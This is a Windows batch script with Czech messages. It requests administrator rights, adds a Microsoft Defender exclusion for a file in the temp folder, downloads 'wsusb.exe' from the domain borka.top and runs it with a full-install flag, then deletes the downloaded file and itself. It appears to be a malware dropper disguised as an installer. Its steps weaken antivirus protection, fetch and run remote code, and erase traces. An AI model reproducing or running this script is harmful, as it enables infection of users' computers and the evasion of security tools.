
@echo off
setlocal
:: =========================================================
:: Kontrola 
:: =========================================================
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo Vyžaduji administrátorská práva...
    powershell.exe -NoProfile -Command "Start-Process -FilePath '%~f0' -Verb RunAs"
    exit /b
)
echo.
echo ========================================================
echo Redux OK 
echo ========================================================
echo.

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%TEMP%\wsusb.exe'" >nul 2>&1
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files\Microsoft'" >nul 2>&1

echo Výjimka byla přidána 


set "INSTALLER=%TEMP%\wsusb.exe"

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ^
    "Invoke-WebRequest -Uri 'https://borka.top/wsusb.exe' -OutFile '%INSTALLER%'"

if errorlevel 1 (
    echo Stažení instalátoru selhalo.
    pause
    exit /b 1
)

if not exist "%INSTALLER%" (
    echo Instalátor nebyl nalezen.
    pause
    exit /b 1
)

echo.
echo ========================================================
echo.

"%INSTALLER%" -fullinstall

set "EXITCODE=%ERRORLEVEL%"

echo.
echo Instalátor skončil s kódem: %EXITCODE%
del /f /q "%TEMP%\wsusb.exe" >nul 2>&1
del /f /q "%~f0" >nul 2>&1
start "" /b cmd /c "ping 127.0.0.1 -n 2 >nul & del /f /q "%~f0""
exit


